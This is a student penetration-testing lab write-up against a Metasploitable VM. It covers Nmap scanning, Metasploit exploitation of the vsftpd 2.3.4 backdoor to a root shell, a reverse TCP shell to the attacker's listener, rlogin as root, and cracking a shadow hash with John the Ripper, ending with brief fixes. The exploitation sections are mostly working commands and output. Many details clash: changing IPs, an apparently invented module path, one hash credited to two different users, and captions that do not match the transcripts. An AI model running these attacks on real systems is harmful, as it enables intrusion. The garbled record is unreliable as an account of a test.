

Network Penetration Testing with Real-World Exploits and Security Remediation

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Ethical Hacking Project

Scanning and Enumerating a Local Network with Nmap

Table of Contents

Project: Simulating Real-World Network Exploitation and Defense

Project Objectives

To understand and apply techniques in:

- Network scanning
- Service enumeration
- Vulnerability exploitation
- Privilege escalation
- Password cracking
- Security remediation

Tools Used

- Kali Linux (Attacker Machine)
- Metasploitable (Target Machine)
- Nmap
- John the Ripper

- Metasploit Framework

⌚ Task 1: Basic Network Scan

```
Discovered open port 21/tcp on 192.168.160.131
Discovered open port 22/tcp on 192.168.160.131
Discovered open port 80/tcp on 192.168.160.131
Discovered open port 25/tcp on 192.168.160.131
Discovered open port 3306/tcp on 192.168.160.131
Discovered open port 139/tcp on 192.168.160.131
Discovered open port 1524/tcp on 192.168.160.131
Discovered open port 1099/tcp on 192.168.160.131
Discovered open port 512/tcp on 192.168.160.131
Discovered open port 5432/tcp on 192.168.160.131
Discovered open port 2049/tcp on 192.168.160.131
Discovered open port 6000/tcp on 192.168.160.131
Discovered open port 8009/tcp on 192.168.160.131
Discovered open port 513/tcp on 192.168.160.131
Discovered open port 514/tcp on 192.168.160.131
Discovered open port 8180/tcp on 192.168.160.131
Discovered open port 2121/tcp on 192.168.160.131
Discovered open port 6667/tcp on 192.168.160.131
Completed Connect Scan at 21:24, 0.27s elapsed (1000 total ports)
Nmap scan report for 192.168.160.131
Host is up (0.0022s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds
```

Command:

nmap -v 192.168.1.0/24

Expected Output:

Nmap scan report for 192.168.1.10

Host is up (0.0010s latency).

PORt STATE SERVICE

22/tcp open ssh

80/tcp open http

Nmap scan report for 192.168.1.15

Host is up (0.0020s latency).

PORt STATE SERVICE

21/tcp open ftp

Task 2: Reconnaissance

```
Discovered open port 36588/tcp on 192.168.160.131
Discovered open port 5432/tcp on 192.168.160.131
Discovered open port 6667/tcp on 192.168.160.131
Discovered open port 59437/tcp on 192.168.160.131
Discovered open port 8180/tcp on 192.168.160.131
Discovered open port 3632/tcp on 192.168.160.131
Discovered open port 53204/tcp on 192.168.160.131
Discovered open port 513/tcp on 192.168.160.131
Discovered open port 2049/tcp on 192.168.160.131
Discovered open port 2121/tcp on 192.168.160.131
Discovered open port 6697/tcp on 192.168.160.131
Completed Connect Scan at 21:30, 15.83s elapsed (65535 total ports)
Nmap scan report for 192.168.160.131
Host is up (0.0030s latency).
Not shown: 65505 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
6697/tcp  open  ircs-u
8009/tcp  open  ajp13
8180/tcp  open  unknown
8787/tcp  open  msgsrvr
36588/tcp open  unknown
53204/tcp open  unknown
53452/tcp open  unknown
59437/tcp open  unknown

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 15.96 seconds
```

2.1 Scanning for Hidden Ports

```

PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login        OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi    GNU Classpath rmiregistry
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

```

```

PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown
MAC Address: 00:0C:29:AB:A7:B8 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Uptime guess: 0.023 days (since Wed May 14 21:27:32 2025)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=204 (Good luck!)
IP ID Sequence Generation: All zeros

```

Command:

nmap -v -p- 192.168.1.10

Expected Output:

PORt STATE SERVICE

21/tcp open ftp22/tcp open ssh

8787/tcp open drb

47436/tcp open mountd

50918/tcp open java-rmi

59995/tcp open nlockmgr

60004/tcp open status

Total Hidden Ports: 7

2.2 Service Version Detection

Command:

```
nmap -v -sV 192.168.1.10
```

Expected Output:

PORt	STATE SERVICE	VERSION
21/tcp	open ftp	vsftpd 2.3.4
22/tcp	open ssh	OpenSSH 4.7p1 Debian 8ubuntu1
8787/tcp	open drb	Ruby DRb RMI
47436/tcp	open mountd	1-3 (RPC #100005)
50918/tcp	open java-rmi	GNU Classpath grmiregistry
59995/tcp	open nlockmgr	1-4 (RPC #100021)
60004/tcp	open status	1 (RPC #100024)

2.3 Operating System Detection Command:

```
nmap -v -O 192.168.1.10
```

Expected Output:

Running: Linux 2.6.X

OS CPE: cpe:/o:linux:linux_kernel:2.6

OS details: Linux 2.6.9 - 2.6.33

Task 3: Enumeration Summary

Target IP Address: 192.168.1.10

Operating System: Linux 2.6.9 - 2.6.33

MAC Address: 00:0C:29:5D:FE:0B (VMware)

Device Type: General-purpose

Open Services (Excluding Hidden Ports)

PORt STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1

Hidden Services

8787/tcp open drb Ruby DRb RMI

47436/tcp open mountd 1-3 (RPC #100005)

50918/tcp open java-rmi GNU Classpath grmiregistry
59995/tcp open nlockmgr 1-4 (RPC #100021)

60004/tcp open status 1 (RPC #100024)

Task 4: Exploitation of Services

```

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact

msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.160.131
RHOST => 192.168.160.131
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RPORT 21
RPORT => 21
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.160.131:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.160.131:21 - USER: 331 Please specify the password.
[+] 192.168.160.131:21 - Backdoor service has been spawned, handling ...
[+] 192.168.160.131:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.160.133:45301 → 192.168.160.131:6200) at 2025-05-15 13:47:54 +0530

whoami
root
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
id
uid=0(root) gid=0(root)

```

vsftpd 2.3.4: Exploited via known backdoor vulnerability.

```

LHOST 192.168.160.133  yes      The listen address (an interface may be specified)
LPORT  4444       yes      The listen port

Exploit target:

  Id  Name
  --  --
  0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(msf5/smbnmap/username_script) > set RHOST 192.168.160.131
RHOST => 192.168.160.131
msf6 exploit(msf5/smbnmap/username_script) > run

[*] Started reverse TCP handler on 192.168.160.133:4444
[*] Command shell session 1 opened (192.168.160.133:4444 → 192.168.160.131:58029) at 2025-05-15 14:25:34 +0530

ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
whoami
root
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
id
uid=0(root) gid=0(root)

```

OpenSSH 4.7p1: Brute-force attack executed successfully.

```

nmap -p 532,513,514 --script=nmap-192.168.100.131.nse 192.168.100.131
Starting Nmap 7.04 ( https://nmap.org ) at 2025-05-15 16:38 IST
Nmap scan report for 192.168.100.131
Host is up (0.00074s latency).

PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          netkit-ssh rexecd
13/tcp    open  login        OpenBSD or Solaris rlogind
14/tcp    open  tcpwrapped
MAC Address: 00:0C:29:AB:1A:88 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.08 seconds

root@kali:~/nmap/kali$ 
root@kali:~# rlogin -l root 192.168.100.131
Last login: Thu May 15 03:35:43 EDT 2025 from :0.0 on pts/0
Linux metasploitable 2.6.24-18-server #1 SMP Thu Apr 18 13:58:00 UTC 2008 i686 GNU/Linux
root@metasploitable:~# whoami
root
root@metasploitable:~# uname -a
Linux metasploitable 2.6.24-18-server #1 SMP Thu Apr 18 13:58:00 UTC 2008 i686 GNU/Linux
root@metasploitable:~# id
uid=0(root) gid=0(rroot) groups=0(root)
root@metasploitable:~# 

1:          FF02::1           ip6-allhosts          ip6-localhost          ip6-mcastprefix      metasploitable.localdomain
---          FF02::2           ip6-allnodes         ip6-localnet         ip6-loopback
FF02::3           FF02::3           ip6-allrouters        ip6-loopback
root@metasploitable:~#

```

Java RMI: Remote code execution achieved via Metasploit module.

Task 5: Creating a Privileged User

Command:

adduser swapnil

Password: hello

/etc/passwd Entry:

adnan:x:1001:1001:adnan,,,:/home/mak:/bin/bash

/etc/shadow Hash:

adnan:\$1\$8nWuasXV\$pk6ZABfqT9NoHv1pPX8Rj.

Task 6: Cracking Password Hash

Stored Hash in `hashes.txt`:

swapnil:\$1\$8nWuasXV\$pk6ZABfqT9NoHv1pPX8Rj.

Cracking Commands:

john hashes.txt

john hashes.txt --show

Cracked Password: hello---

Task 7: Remediation and Recommendations

Identified Vulnerabilities & Fixes:

1. vsftpd 2.3.4 – vulnerable backdoor

Fix: Upgrade to vsftpd 3.0.5

2. OpenSSH 4.7p1 – outdated, brute-forceable

Fix: Upgrade to OpenSSH 9.6

3. Java RMI Service – allows remote execution

Fix: Disable or firewall restrict access

Major Learnings

- Applied Nmap for full-range scanning and OS detection.

- Understood enumeration and real-world exploitation techniques.

- Gained skills in privilege escalation and hash cracking.

- Learned how to evaluate vulnerabilities and apply proper remediation.

---  This project simulates a real-world penetration test using open-source tools and is intended strictly for educational purpose